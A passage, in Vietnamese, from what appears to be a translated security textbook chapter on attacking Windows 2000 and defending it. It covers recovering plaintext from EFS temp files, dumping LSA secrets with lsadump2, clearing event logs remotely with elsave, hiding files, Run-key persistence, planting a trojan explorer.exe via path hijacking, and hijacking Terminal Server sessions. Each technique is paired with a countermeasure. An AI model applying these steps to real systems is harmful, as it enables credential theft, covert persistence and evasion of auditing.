bảng sau:
Một thuật sĩ sẽđược mở ra và qua đó hàng loạt đề mục thông tin trước
khi truy xuất được mật mã. Để sao lưu mã tác nhân phục hồi, bạn phải truy
xuất cả mã cá nhân kèm theo trang chứa mã, và bạn nên tạo lập một hệ thống
bảo vệ nghiêm ngặt (đòi hỏi một mật khẩu). Cuối cùng bạn nên XOÁ BỎ MÃ
CÁ NHÂN NẾU ĐÃ THÀNH CÔNG. Bước cuối cùng là vô hiệu hoá khoá
giải mã tác nhân phục hồi thu được từ hệ thống cục bộ.
CẢNH BÁO:Chú ý xoá toàn bộ trang chứa tác nhân phục hồi trong ô phải
của thuật sĩ. Điều này sẽ làm cho EFS trong Windows 2000 không còn là tác
nhân phục hồi nữa. Hướng dẫn sau đây sẽ cho thấy điều gì xảy ra khi EFS
được dùng nhưng không có mã tác nhân phục hồi_Nó không hoạt động được.
CHÚ ÝNhững mục đã bị khoá mã trước khi xoá tác nhân phục hồi vẫn
bị mã hoá, nhưng chúng sẽ chỉđược khi người sử dụng khôi phục được
mã RA đã lưu từ trước.
Đối với những máy kết nối mạng miền, cách thức có hơi khác: máy chủ
miền này sẽ lưu trữ tất cả mã phục hồi hệ thống cho các máy trong miền. Khi
một máy dùng Windows 2000 kết mạng miền, Hệ Thống Quản Lý Mã Phục
Hồi Mặc Định Trong Miền sẽ tựđộng làm việc. Administrator của miền đó,
chứ không phải là Administrator cục bộ, sẽ trở thành tác nhân phục hồi. Từđó
Administrator sẽ phân tách các mã phục hồi từ những dữ liệu đã mã hoá khiến
mọi cuộc tấn công của Grace và Bartlett trở nên khó khăn hơn. Đó cũng là
một thủ thuật để truy xuất trang chứa tác nhân phục hồi từ máy chủ miền đó.
Nếu như các tác nhân này bị là tổn thương, thì mọi hệ thống trong miền cũng
rất dễ bịảnh hưởng nếu như mã phục hồi có ở các máy cục bộ.
CHÚ Ý Hãng Microsoft cũng xác nhận trong một trang "analefs" rằng vấn đề
xóa bỏ SAM, làm cho mật khẩu của Administrator bị xác lập lại thành giá trị
trống, có thể giải quyết nhờ SYSKEY. Chúng tôi đã chứng minh điều này
hoàn toàn không đúng trừ phi mã SYSKEY hoặc chếđộ cần ởổđĩa mềm
được tái xác lập. (Trong trang này chúng ta không đề cập đến điều đó.)
☻Phục Hồi Dữ Liệu Tệp Tạm Thời EFS
Tính phổ biến
8
Tính đơn giản
10
Tính hiệu quả
10
Mức độ rủi ro
9
Vào ngày 19-1-2001, Richard Berglind đăng tải một nghiên cứu rất thú
vị lên trang danh sách thư bảo mật. Sự việc là ở chỗ khi một tệp tin được chọn
để mã hoá bằng EFS, nhưng cuối cùng nó vẫn chưa được bảo mật. Thực ra
một bản sao lưu của tệp tin đó đã được chuyển tới một thư mục tạm thời và
được đổi tên thành efs0.tmp. Sau đó những dữ liệu từ tệp tin này được mã hoá
và thay thế cho tệp tin gốc. Tệp tin sao lưu sẽ tựđộng xoá sau khi kết thúc quá
trình mã hoá.
Tuy nhiên, sau khi tệp tin sao lưu thay thế tệp tin gốc và tệp tin tạm thời
được xóa bỏ, những khối cản vật lý trong hệ thống tệp tin, nơi các tệp tin tạm
thời thường trú không bao giờ bị xoá sạch. Những khối này chứa dữ liệu gốc
chưa mã hoá. Phương thức xoá tệp tin tạm thời cũng tương tự như cách xoá
bất kỳ một tệp tin nào khác. Một mục nhập trong bảng tệp tin chủđược đánh
dấu rỗng và các liên cung nơi lưu trữ các tệp được đánh dấu hiển thị, nhưng
tệp tin vật lý và thông tin nó chứa đựng sẽở dạng văn bản gốc được lưu trên
mặt đĩa vật lý. Khi các tệp tin mới được bổ xung vào vùng lưu trên đĩa, các
thông tin của tệp sẽ dần bị ghi chèn; nhưng nếu tệp tin được mã hoá quá lớn,
thì tệp tin này vẫn được lưu tới hàng tháng sau (tuỳ thuộc vào dung lượng
đĩa).
Trở lại với nghiên cứu của Richard, hãng Microsoft khẳng định trường
hợp này là do thiết kếđặc trưng cho tệp cá nhân dùng EFS để bảo mật, và chỉ
ra những khoảng trắng của EFS sẽ giải thích mọi vấn đề rõ ràng. Hãng cũng
gợi ý một số thủ thuật nhằm tránh những trường hợp như trên và rằng sẽ
nghiên cứu kỹ hơn vấn đề này.
Cách thức hoạt động của chương trình này khi đọc các dữ liệu bị mã
hoá dưới dạng EFS như thế nào? Một trình duyệt cấp thấp sẽ truy xuất dữ liệu
một cách dẽ dàng, ví dụ như trình duyệt dskprobe.exe của Công cụ hỗ trợ có
trên CD cài đặt Windows 2000. Trình duyệt này cho phép người sử dụng có
thể dễ dàng truy cập máy chủ và truy xuất dữ liệu tệp tin đã bị mã hoá. Chúng
ta sẽ tìm hiểu cách sử dụng trình duyệt dskprobe đểđọc tệp tin efs0.tmp sau
đây.
Đầu tiên, chạy chương trình dskprobe và mở một ổđĩa vật lý thích hợp
để truy xuất dữ liệu bằng cách chọn Drives/Physical Drive và click chuột phải
vào một ổ thích hợp trong phần trên, góc trái cửa sổ hiển thị. Sau đó, click vào
nhân Set Active gần ổ bạn chọn sau khi hiển thị trong phần "Handle 0" của
hộp thoại.
Sau khi hoàn thành bước thứ nhất, kế tiếp bước thứ hai bạn phải định vị
cung thích hợp chứa những dữ liệu muốn nhận dạng. Định vị các tệp trên một
ổđĩa vật lý là một công việc cực kỳ khó khăn, tuy nhiên bạn có thể sử dụng
lệnh Tools/Search Sectors của trình duyệt dskprobe để hỗ trợ công việc tìm
kiếm này. Trong ví dụở hình 6-3, chúng ta tìm kiếm chuỗi ký tự "efs0.tmp"
trong các phần cung từ 0 đến điểm kết của đĩa. Bạn cũng nên click chọn mục
Exhaustive Search, các kiểu chữ in hoa hay in thường (Ignore Case), và kiểu
chữ Unicode. (Sử dụng ASCII thường không cho kết quả).
Bước ba khi hoạt động tìm kiếm kết thúc, nếu EFS đã được sử dụng để
lập mã tệp trên đĩa đang được phân tích, và nếu tệp efs0.tmp không bị ghi đè
do các thao tác hoạt động của đĩa, thì đầy đủ nội dung tìm kiếm sẽ hiển thị
trên giao diện dskprobe. Công việc tìm kiếm chuỗi ký tự "efs0.tmp" sẽ thể
hiện các phần khác trên đĩa cũng chứa chuỗi ký tựđó. (một tệp có tên
"efs0.log" cũng chứa tham chiếu đường dẫn đầy đủ tới tệp efs0.tmp). Một
cách khác nhằm giúp bạn tìm luôn thấy chuỗi efs0.tmp thay vì tìm tệp chứa
chuỗi đó là tìm luôn chuỗi "FILE"" trên dòng đầu của giao diện dskprobe
__máy sẽ chỉ ra phần chứa một tệp đó. Cả efs0.log và efs0.tmp dường như
được tạo ra từ cùng một đường dẫn giống với đường dẫn của tệp đã được mã
hoá, nhưng chúng không hiển thị trên một giao diện chuẩn mà chỉ hiển thị trên
giao diện của dskprobe. Trong hình 6-3, chúng tôi đã chỉ ra một tệp efs0.tmp
mẫu được phát hiện trong cung từ 21249 hiển thị trong dskprobe với nộ dung
đầy đủ. (Một lần nữa, cần lưu ý chuỗi "FILE*" ở dòng đầu, đây là một tệp tin).
CHÚ ÝKẻ tấn công có thể chạy chương trình dskprobe trên mạng thông qua
một giao diện điều khiển từ xa hay một phiên Terminal Server, chứ không chỉ
từ một bàn giao tiếp vật lý.
Khi tấn công bằng một trình duyệt cấp thấp không những kẻ tấn công
không chỉđơn giản xoá phần SAM hoặc thay đổi chật tự mọi thứ có trong đó,
mà phải dò tìm những tệp đang được bảo mật dưới dạng EFS trong những môi
trường dễ bị tấn công.
◙ Khóa tính năng Phục hồi file tạm lưu EFS
Khi cuốn sách đến tay bạn đọc, hãng Microsoft vẫn chưa có những biện pháp
sữa chữa lỗi này. Tuy nhiên, hãng cũng có những phản hồi đối với Bugtraq đã
đề cập ở phần trước. Microsoft cho biết, tệp sao lưu văn bản thuần tuý chỉ
được tạo ra nếu một tệp đơn có trước đã được mã hoá. Nếu tệp được tạo ra
trong thư mục đã được mã hoá thì ngay lập tức nó cũng được mã hoá, và sẽ
không có một tệp sao lưu văn bản thuần tuý khác được tạo ra. Microsoft
khuyến cáo điều này như một quy trình ưu đãi cho việc sử dụng EFS để bảo
mật các dữ liệu nhạy cảm nhưđã trình bày trong phần "Bảo Mật Hệ Thống
Tệp Trong Windows 2000". (Xem
http://www.microsoftft.com/technet/treeview/default.asp?url=TechNet/prodte
chnol/windows2000serv/deploy/confeat/nt5efs.asp):
"Chúng tôi khuyến cáo các bạn tốt hơn hết là luôn khởi tạo một thư mục rỗng
tiến hành mã hoá, sau đó tạo các tệp trực tiếp trong thư mục đó. Điều này sẽ
đảm bảo các bit của tệp đó không bị lưu giữở bất kỳ nơi đâu trên đĩa. Việc
làm này cũng tạo ra một sự thực thi tốt hơn khi EFS không cần tạo một bản
sao lưu khác và sau đó lại xoá nó..."
Điểm cần lưu ý: thay vì mã hoá các tệp riêng biệt, hãy mã hoá một thư mục
chứa tất cả dữ liệu bảo mật trước, và sau đó tạo các tệp nhạy cảm chỉ trong thư
mục này.
Khai Thác Sự Uỷ Thác
Một trong những kỹ năng hiệu quả mà những kẻ tấn công hay dùng là
tìm những máy uỷ thác trong miền (đối kháng cục bộ) mà đều hợp lệ trong các
miền hiện thời khác. Điều này cho phép kẻ tấn công có thể nhảy cóc từ các
máy chủđộc lập sang các mạch điều khiển miền và qua các đường biên an
ninh rất dễ dàng. Chính những nhà quản trị hệ thống là người cho phép kẻ tấn
công sử dụng cách này khi họ nhập vào một hộp độc lập với những máy uỷ
thác khác trong miền điều khiển. Hệđiều hành Windows 2000 bảo vệđược ai
trong những lỗi như vậy!
☻Những bí mật LSA - Alive và Well
Tính phổ biến
8
Tính đơn giản
10
Tính hiệu quả
10
Mức độ rủi ro
9
Nhưđã trình bày ở Chương 5, yếu điểm của Bí mật LSA là chìa khoá cho
việc lợi dụng mối quan hệ tín nhiệm bên ngoài vì nó tiết lộ danh sách một vài
người sử dụng cuối cùng truy cập vào hệ thống và các mật khẩu truy cập vào
các chương mục dịch vụ.
Mặc dù hãng Microsoft đã đưa ra một biện pháp khắc phục cho lỗi Bí
mật LSA sau khi tung ra Service Pack 3, nhưng rất nhiều dữ nhạy cảm vẫn có
thể bị lấy cắp nhờ sử tiện ích lsadump2 từ Todd Sabin(xem
http://razor.bindview.com/tools/desc/lsadump2 _readme.html)
Sau đây là một ví dụ khi lsadump2 khai thác một chương mục dịch từ
một mạch điều khiển miền dùng Windows 2000. Mục vào cuối cùng cho thấy
dịch vụ "BckpSvr" nhập vào hệ thống với mật khẩu của "password1234".
C:\>lsadump2
$MACHINE.ACC
7D 58 DA 95 69 3E 3E 9E AC C1 B8 09 F1 06 C4 9E
}x..i>>........
6A BE DA 2D F7 94 B4 90 B2 39 D7 77
j..-.....9.w
TermServLicentingSignKey-12d4b7c8-77d5-11d5-11d1-8c24-00c04fa3080d
. . .
TS: InternetConnectiorPswd
36 00 36 2B 00 32 00 48 00 68 00 32 00 62 00 6.6.+
2.H.h.2.b.
44 00 55 00 41 00 44 00 47 00 50 00 00 00
D.Ư.A.D.G.P...
. . .
SCBckpSvr
74 00 65 00 73 00 74 00 75 00 73 00 53 00 72 00
p.a.s.s.w.o.r.d.
31 00 32 00 33 00 34 00 1.2.3.4.
Khi biết được mật khẩu dịch vụ, kẻ tấn công có thể sử dụng những tiện
ích tiện ích như net user được cài đặt sẵn và Resource Kit
nlnest/TRUSTED_DOMAINS để theo dõi trương mục đối tượng sử dụng và
mối quan hệ tín nhiệm trên cùng hệ thống này (dễ dàng thực hiện nếu có đặc
quyền của Administrator).
Khám phá này có thể tạo ra một đối tượng sử dụng có tên "bckp" (hoặc
tương tự) và một hoặc nhiều mối quan hệ với những miền ngoài. Chúng ta sẽ
có cơ hội thành công cao nếu sử dụng bkcp/password 1234 đểđăng nhập vào
những miền này.
◙ Biện Pháp Đối Phó Isadump2
Hãng Microsoft không coi đây là một lỗ hổng an ninh vì muốn chạy
Isadump2 cần phải có SeDebugPrivilege, mà SeDebugPrivilege chỉđược gửi
đến Administrator thông qua một chếđộ mặc định. Cách tốt nhất để chống lại
Isadump2 là bảo vệ các chương mục của Administrator khỏi bị tổn thương
ngay từđầu. Tuy nhiên, nếu trường hợp xấu nhất xảy ra và Administrator bị
mất, thì các chương mục dịch vụ từ các miền ngoại trú vẫn có thể bị lấy cắp
nhờ sử dụng công cụ Isadump2, và khi đó bạn không thể làm gì được.
Hình Thức Sao Multimaster và Mô Hình Trust Mới
Một trong những thay đổi cơ bản đối với cẩu trúc miền NT4 trong
Windows 2000 là bước chuyển từ hình thức sao master đơn và mô hình trust
sang hình thức multimaster. Trong cẩu trúc Windows 2000, tất cả các miền
đều sao chép Active Directory dùng chung và uỷ thác lẫn nhau bằng trust
chuyển tiếp hai chiều nhờ chạy Kerberos. (Trust giữa các forest hay với miền
NT4 vẫn là một chiều) . Đây chính là một giải pháp tốt cho thiết kế cấu trúc
liên kết miền.
Khả năng đầu tiên của hầu hết các Administrator miền là tạo ra những
forest tách rời cho ngoại vi bảo mật trong hệ thống. Điều này hoàn toàn sai -
điểm mấu chốt của AD là hợp nhất các miền thành một lược đồ quản lý thống
nhất. Hàng loạt sự kiểm soát truy suất có thểđược duy trì qua các đối tượng
trong forest - nhỏđến độ sẽ làm các Administrator bối rối do một loạt các
thiết lập phép mà hãng Microsoft đặt ra. Những mục Directory
(Organizational Unít [OUs] ) và tính năng delegation (ủy quyên)mới sẽ có ảnh
hưởng lớn về mặt này.
Tuy nhiên, với mô hình mới này, các thành viên thuộc Universal
Groups (ví dụ: doanh nghiệp), và ở cấp độ thấp hơn, Domain Global Groups
(ví dụ: Admin miền) sẽ có thể tiếp cận tất cả các miền trong forest. Vì vậy,
một chương mục bị tổn thương trong nhóm ngoại vi này sẽ có thểảnh hưởng
sang các miền khác trong một forest. Do vậy, chúng tôi khuyến cáo các bạn
nên đặt những đối tượng lớn hơn (đối tượng này phải không phải hoàn toàn
đáng tin cậy [ví dụ , một cấu trúc tương đương] hay không bị tổn thương do
những tác động ngoại cảnh [ví dụ: Một trung tâm lưu trữ dữ liệu mạng]) trong
forest, hoặc bạn nên thao tác hoàn toàn như những máy chủđộc lập.
Ngoài ra, với trust chuyển tiếp hai chiều, nhóm Authenticated Users sẽđảm
nhiệm tổng thể phạm vi mới. Trong những công ty lớn, cần phải xem đây là
một nhóm không đáng tin cậy.
LẤP RÃNH GHI
Những kỹ thuật và công cụ cũ dùng để che giấu những rãnh ghi vẫn
hoạt động tốt (hầu nhưđối với tất cả các phần) trong Windows 2000. Song
những kỹ thuật và công cụ này vẫn còn có những điểm không tương đồng
được chỉ ra sau đây.
Vô Hiệu Hoá Tính năng kiểm tra
Tính năng kiểm tra có thể hoạt động dựa trên Chính Sách An Ninh Cục
Bộ (secpol.msc) tại \Local Policy\Audit Policy, hay công cụ Group Policy
(gpedit.msc) tại \Computer Configuration\Windows Settings\Security
Settings\Local Policy\Audit Policy. Chúng ta sẽ tiếp tục tìm hiểu Group Policy
ở cuối chương này. Thiết lập kiểm tra vẫn được giữ nguyên như trong NT4.
Trong Windows 2000 không có bản ghi tập trung - tất cả các bản ghi sẽ
được lưu trữ trong hệ thống cục bộ, đây chính là một điểm rắc rối so với
syslog của UNIX. Và tất nhiên Windows 2000 từ chối lưu các địa chỉ Internet
kết nối từ xa cho các sự kiện nhưđăng nhập thất bại. Nhưng dường như một
số mục vẫn không hề thay đổi.
Ngoài giao diện cấu hình kiểm toán Group Policy, tiện ích auditpol từ
NTRK vẫn hoạt động chính xác nhưđã tìm hiểu kỹ trong Chương 5. Tiện ích
auditpol có thể kích hoạt hay vô hiệu hoá việc kiểm toán. Không ai có thể dự
đoán được tương lai sẽ ra sao nếu không có NTRK?
Xoá Bản Ghi Sự kiện
Tất nhiên chúng ta vẫn có thể xoá được Bản ghi sự việc trong (Event
Log) Windows 2000, nhưng những bản ghi vẫn bị truy xuất thông qua một
giao diện mới. Hàng loạt Event Log vẫn được lưu trong hệ thống quản lý máy
tính MMC tại \System tools\Event Viewer. Bên cạnh đó ba bảng ghi mới được
hiện hữu là: Directory Service, DNS server, và File Replication Service. Nhấp
chuột phải vào bất kỳ một bản ghi nào sẽ cho ra trình đơn chứa một mục nhập
Clear All Events.
Tiện ích elsave trong chương 5 sẽ thực hiện xóa tất cả các bản ghi từ xa
(kể cả những bản mới nhất). Trong ví dụ sau đây, cú pháp lệnh sử dụng elsave
để xoá bản ghi File Replication Service trong máy chủ "joel". (Cần có những
đặc quyền chính xác trong hệ thống từ xa này).
C:\>elsave -s \\joel -1 "File Repllication Service" -C
Một thủ thuật khác để chạy như Administrator trong một máy chủ bị tổn
thương là khởi động một câu lệnh dưới hình thức chương mục SYSTEM. Thủ
thuật này có thể dễ dàng thực hiện được nhờ sử dụng chương trình lập biểu
AT. Khi trình tiện ích đó đã được bật lên, mở Event Log MMC
(compmgmt.msc) và xoá những bản ghi này. Mặc dù một mục nhập vẫn chỉ ra
những bản ghi này đã bị xoá, song chương mục của đối tượng sử dụng có
chức năng xoá những bản ghi này sẽđược chỉ ra như SYSTEM.
Ẩn file
Một thao tác quan trọng ngay sau khi đột nhập thành công sẽ xoá sạch
dấu vết đột nhập tinh vi của kẻ tấn công. Chúng ta tìm hiểu hai cách ẩn file
Chương 5: lệnh attrib và chuỗi tệp tin.
Attrib
Attrib sẽẩn file, nhưng những file này vẫn hiển thị khi dùng lệnh Show
All Files áp dụng cho các thư mục.
Phân luồng
Sử dụng tiện ích NTRK cp POSIX đểẩn file trong chuỗi sau các tệp tin
khác (xem chương 5) cũng có thể thực hiện được trong Windows 2000, cho dù
hiện nay đã có phiên bản NTFS mới.
Cách tốt nhất để nhận dạng các tệp tin chuỗi là sử dụng trình duyệt
sfind trong NTObjective. Sfind được chứa trong Forensic Toolkit, có tại trang
http:// www.foundstone.com/rdlabs/tools.php?category=Forensic
CỬA SAU (BACK DOORS)
Cuối cùng trong danh sách chọn của kẻ tấn công là sự tạo lập những cơ
hội tương lai để trở về hệ thống đã bị tổn thương, hy vọng không bị nhận ra
bởi phạm vi hoạt động của administrator hệ thống.
Thao tác Khởi Động
Như chúng tôi đã trình bày ở Chương 5, một thủ thuật thông dụng của
những kẻ tấn công là gắn kết những chương trình tự chạy tinh vi vào những vị
trí mà chúng sẽ tựđộng khởi chạy vào giờđã đặt trước. Những vị trí này vẫn
còn tồn tại trong Windows 2000 và chúng sẽđược kiểm tra tìm kiếm các lệnh
lạ trong những hệ thống bị tấn công.
Một lần nữa, những giá trị Registry khởi động phù hợp được định vị tại
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion:
▼...\Run
■...\RunOnce
▲...\RunOnceEx
Một điểm khác biệt nhỏ trong Windows 2000 là vị trí của thư mục
Startup của đổi tượng sử dụng. Tại Windows 2000 thư mục Startup được cất
trong một thư mục khác là Documents and Settíng dưới gốc
(%systemdrive%\Documents and Settings\%user%\Start
Menu\Programs\Startup).
☻Lập Bẫy Đường Dẫn Chạy
Tính phổ biến
7
Tính đơn giản
7
Chịu ảnh hưởng
10
Mức độ rủi ro
8
Đôi khi những cổng thoát mà ta biết lại là rất khó để nhận ra. Lưu ý tới
vị trí đơn giản của một tiện ích của Trojan Windows có tên explorer.exe tại
gốc của đường dẫn %systmedrive% trong hệ thống mục tiêu. (Bất kỳđối
tượng sử dụng nào cũng có thể viết được chương trình này nhờ chếđộ mặc
định.) Khi một đối tượng sử dụng ngay sau đó truy xuất tương tác, chương
trình tự chạy này sẽ trở thành một tiện ích mặc định cho đối tượng sử dụng đó.
Vì sao điều này xảy ra?
Nhưđã giới thiệu trong phần Bộ Phát Triển Phần Mềm Microsoft
(SDK), khi file chạy và các file thuộc dạng DLL không được đặt trước bới
một đường dẫn trong mục Registry, Windows NT 4.0 / 2000 sẽ tìm kiếm file
trong thứ tự các vị trí sau:
1. Thư mục tại đó phần mềm ứng dụng được cài đặt
2. Thư mục hiện hành trong quá trình xử lý mẹ
3. Thư mục hệ thống 32 bit (%windir%\System32)
4. Thư mục hệ thống 16 bit (%windir%/System)
5. Thư mục Windows (%windir%)
6. Các thư mục được xác nhận trong biến số môt trường PATH.
Tình trạng này đã được chứng minh nhờ trình mặc định NT / 2000 được
nhận dạng nhờ khóa Registry
HKLM\SOFTWARE\Mcrosoft\WindowsNT\CurrentVersion\Winlogon\Shell.
Giá trị mặc định cho khoá này là "explorer.exe"; không có đường dẫn file nào
được chỉ ra. Vì vậy, nếu bất kỳ ai sao chép một trình đã chỉnh sửa có tên
"explorer.exe" đến gốc của %SystemDrive% (ví dụ: C:\) vào thời gian đã cho
trước, giá trị của explore.exe tại WinLogon\Shell\explore.exe sẽđược đọc ra.
Hệ thống tệp tin sẽđược phân tách ngay tại gốc (vì thư mục hiện hành trong
khi hệ thống khởi động là %systemdrive%), bắt gặp file chạy explorer.exe
hiệu chỉnh của chúng ta. Quá trình này sẽ trở thành một trình cho phiên đăng
nhập riêng biệt này.
Theo những gì Alberto Aragones đã viết tại trang
http://www.quimeras.com/secadv/ntpath.htm, điều này sẽ rất dễ dàng chứng
minh được bằng cách sao chép một trình lệnh NT / 2000 (cmd.exe) sang phần
gốc hệ thống, sau đó thoát ra khỏi hệ thống, và lại nhập vào hệ thống. Trình
Windows chuẩn được che phủ bằng một trình lệnh.
Chúng ta sẽ xem trong Chương 14, các công cụ như eLiTeWrap sẽ làm
cho việc gói các đa chương trình trở nên dễ dàng hơn. Những đa chương trình
này cũng có thểđược chạy ngầm định và không đồng bộ nếu muốn. Bất kỳ ai
cũng có thể dễ dàng liên kết một back door (như Back Oifice 2000) với một
bản sao của explorer.exe, rồi đặt nó vào gốc hệ thống, và chương trình này sẽ
được khởi chạy ngầm tại thời điểm có đăng nhập tương tác xảy ra. Trình
Explorer dường như vẫn chạy bình thường, vì vậy không ai có thể khôn ngoan
hơn thếđược.
Cũng tại trang http://www.quimeras.com/secadv/ntpath.htm, Alberto
cũng đưa ra một cách thức thuận tiện để thực hiện tiểu xảo này từ xa. Cơ sởđể
thực hiện tiểu xảo này là dựa vào máy chủ có sử dụng chương trình kết nối NT
/ 2000 chạy trên máy chủ mục tiêu. Đầu tiên, kết nối với máy mục tiêu, sau đó
tải lên file chạy explorer.exe cổng thoát (với dòng lệnh FTP). Sau đó, từ dòng
lệnh telnet, đổi thành %windir%, chạy explorer.exe thật, và kết thúc phiên
telnet. Explorer.exe giả sẽ chạy trên bất kỳ phiên truy cập tương tác nào.
Kỹ thuật này cũng có thể áp dụng được đối với DLL. Với các file chạy
của Windows nhập thư viện động, thông tin trong file chạy dùng đểđịnh vị
tên của các DLL cần thiết. Hệ thống sẽ dò tìm các DLL theo đúng trong trình
tự tương tự như trên. Trục trặc tương tự cũng xảy ra.
◙ Theo dõi Đường Dẫn
Công việc này cũng được thêm vào MS00-052 nhưng không bao gồm
cả Service Pack 1, vì vậy nó phải được áp dụng bất kể bạn có đang chạy hệ
thống Service Pack trước hoặc sau hay không. Ngay cả khi file FAQ của
Mcrosoft trong tình trạng dễ bị ảnh hưởng này
(http://www.microsoft.com/technet/security/bulletin/fq00-52.asp) "độc lập ở
giữa các trị số registry do Microsoft cung cấp sẵn, trị số Shell sử dụng một
đường dẫn ảo" để hỗ trợ những ứng dụng thừa kế, Alberto Aragones khẳng
định nhiều file chạy thiếu những đường dẫn chính xác trong mục Registry (ví
dụ như file rundll32.exe). Quả thực, file rundll32.exe có thể tìm thấy nhiều nơi
trong mục Registry mà không cần một đường dẫn thực.
Một cách khác là truy tìm tất cảđường dẫn ảo trong Registry và suy ra
đường dẫn thực. Ngay cả nếu một danh sách toàn diện và chính xác về các
file có khả năng bị tổn thương tồn tại, mọi việc sửa chữa chúng cũng cần rất
nhiều nỗ lực và thời gian.
Mọi việc sẽ trở nên dễ dàng nếu bạn tuân theo những thủ thuật hiệu quả
và ngăn cản đăng nhập vào server (triển khai Terminal Server sẽ làm điều này
phần nào khó khăn hơn). Và tất nhiên điều này sẽ áp dụng để sửa chữa (tham
khảo phần trước). Vì những lo ngại tính tương thích ứng dụng đã đề cập ở
phần trước, công việc sửa chữa này sẽ loại bỏ mọi khả năng dễ bịảnh hưởng
bằng cách đưa một dạng chữđặc biệt vào mã startup để suy ra %systemroot%
trước khi trị sốđược nhập vào mục "Shell".
LỜI KHUYÊN: Nếu ai đó dùng thủ thuật này của Alberto lên máy của bạn,
bạn có thể bị bối rối khi tìm cách đưa trở hệ thống về tình trạng bình thường.
Alberto khuyên bạn nên chạy chương trình %windir%\explerer.exe từ trình
lệnh và sau đó xoá trình thám hiểm cổng thoát, hoặc bạn có thể chỉ cần gõ
ren\exploerer.exe harmless.txt, và sau đó ấn tổ hợp phím CTRL-ALT-DEL
để khởi động lại.
Kiểm soát Từ Xa
Mọi cơ chếđiều khiển từ xa đã được đề cập đến ở Chương 5 sẽ vẫn hoạt
động bình thường. Cơ chếđiều khiển từ xa từ NTRK sẽ có trong Windows
2000 Support Tools (căn nhà mới cho nhiều tiện ích RK quan trọng) như một
phiên bản cập nhật có tên wsremote, nhưng về cơ bản cơ chế này vẫn giống
như trước. Chức năng của cả NetBus và WinVNC vẫn được giữ nguyên. Back
Orifice 2000 (BO2K) cũng hoạt động trong Windows 2000. Tất cả các
administrator đang cười thầm BO gốc chỉ chạy được trong Wind9x vẫn còn có
lúc phải lo ngại.
Máy Chủ Cuối
Tất nhiên, một bổ xung lớn cho Windows 2000 là tính sẵn có của Máy Chủ
Cuối (Terminal Server) như một phần của các sản phẩm Server cốt lõi.
Terminal Server cài đặt có lựa chọn biến Windows thành một hệ thống hoàn
toàn khác, trong đó mọi xử lí của máy khách được chạy trên phần trống CPU
của máy chủ. Trong mọi phiên bản Windows trước đây - trừ NT Terminal
Server Edition là một sản phẩm phát triển riêng biệt - mã máy khách luôn
chạy trong bộ vi xử lý của máy khách. Đây không phải là một cuộc cách mạng
đối với UNIX và máy tính lớn chạy dưới hình thức này kể từ khi cuộc cách
mạng về máy tính xảy ra, nhưng administrator NT / 2000 sẽ chắc chắn quen
với sự khác biệt giữa những phiên đăng nhập bàn giao diện với những phiên
tương tác từ xa.
Như chúng ta thấy trong đoạn trước, nhận diện một hệ thống với TCP
cổng 3389 gần như là một sựđánh cuộc chắc chắn đối với Máy Chủ Cuối. Kẻ
tấn công sẽ chuyển sang sử dụng Máy Khách Dịch Vụ Cuối. (Chương trình
cài đặt sẽ liên kết hai ổ mềm và chương trình này có thể tìm thấy trong thư
mục %windir%\system32\clients của máy chủ dùng Windows 2000). Kẻ tấn
công dùng phương pháp lặp đoán mật khẩu có thể chống lại chương mục
Administrator tại điểm này. Từ khi điều này được xem nhưđăng nhập tương
tác, các cuộc tấn công kiểu này có thể vẫn tiếp tục chống lại chương trình điều
khiển miền Windows 2000, thậm chí ngay cả khi passprop/adminlockout được
kích hoạt. (xem chương 5 để biết thêm về passprop). Tuy nhiên, Máy Khách
Dịch Vụ Cuối sẽ ngắt kết nối sau năm lần thử thất bại, nhưng đây lại là một
quá trình mất nhiều thời gian.
☻Chiếm Đoạt Kết Nối Máy Chủ Bị Ngắt
Tính phổ biến
2
Tính đơn giản
3
Tính hiệu quả 10
Mức độ rủi ro
5
Đây sẽ là những điều rất hứng thú đối với kẻ tấn công đã đoạt được đặc
quyền Administrator trong Máy Chủ Cuối. Nếu Administrator cuối cùng quên
không thoát khỏi một phiên cuối (hay vài phiên cuối), khi những kẻ tấn công
tìm cách kết nối với mã uỷ nhiệm Administrator, chúng sẽđược hiện hữu với
hộp thoại sau:
Phiên chúng chọn để kết nối có thể mởđược những tài liệu của một phần
nhạy cảm hay những dữ liệu khác hay những ứng dụng có thểđang chạy mà
kẻ tấn công có thể tự nhiên lục lọi mọi thứ bằng phương pháp thủ công.
◙ Thoát khỏi những vùng cuối (Terminal Sessions)
Chỉđóng cửa sổ máy khách hoặc chọn Disconnect sẽ làm cho phiên
hoạt động. Đảm bảo chọn Log Off từ cả Start hay Shut Down, hoặc bằng cách
sử dụng phím tắt CTRL-ALT-END của Terminal Server Client.
Sau đây là danh sách các phím tắt khác có trong Terminal Service Client:
CTRL-ALT-END Mở hộp thoại Windows Security.
ALT-PAGE UP Đảo các chương trình từ trái sang phải.
ALT-PAGE DOWN Đảo các chương trình từ phải sang trái.
ALT-INSERT Xoay qua các chương trình
để chúng được khởi động.
ALT-HOME Hiển thị trình đơn Start.
CTRL-ALT-BREAK Đảo máy khách giữa
một cửa sổ (nếu áp dụng được) và phóng to
màn hình.
ALT-DEL Hiển thị trình đơn bật lên của
window.
CTRL-ALT-MINUS (-) Đặt một hình ảnh
của cửa sổđang hoạt động qua một phím trên
vùng phím số, trong máy khách, lên trên Bảng
Ghi Tạm Máy Chủ Cuối. (Nhấn phím tắt
ALT-PRINTSCRN trên một máy tính cục bộ
cũng cho kết quả tương tự.)
CTRL-ALT-PLUS (+) Đặt một hình ảnh
của toàn bộ khu vực cửa sổ máy khách lên
Bảng Ghi Tạm Máy Chủ qua một phím trên
vùng phím số. (Nhấn phím tắt ALT-
PRINTSCRN trên một máy tính cục bộ cũng
cho kết quả tương tự.)
LỜI KHUYÊN: Một máy chủ tương thích SSH1 dùng Windows 2000 tự do có tại
http://marvin.criadvantage.com/caspian/Software/SSHD-NT/default.php, và một vài máy
chủ thương mại SSH2 cũng hiện đang co sẵn. Trình bảo mật (SSH) là cơ sở của việc quản
lý bảo mật từ xa trong hệ thống dùng UNIX trong nhiều năm nay và là một dòng lệnh mạnh
luân phiên đối với Máy Chủ Cuối để hỗ trợ việc quản lý từ xa của Windows 2000. (xem
phần Secure Shll FAQ tại http://www.employees.org/~satch/ssh/faq/ssh-faq.htmlđể biết
thêm chi tiết về SSH).
Keystroke Loggers
NetBus' keystroke logger, cũng như Invisible Keylogger Stealth (IKS) vẫn
hoạt động tốt trong Windows 2000, cả hai đã được đề cập đến trong chương 5.
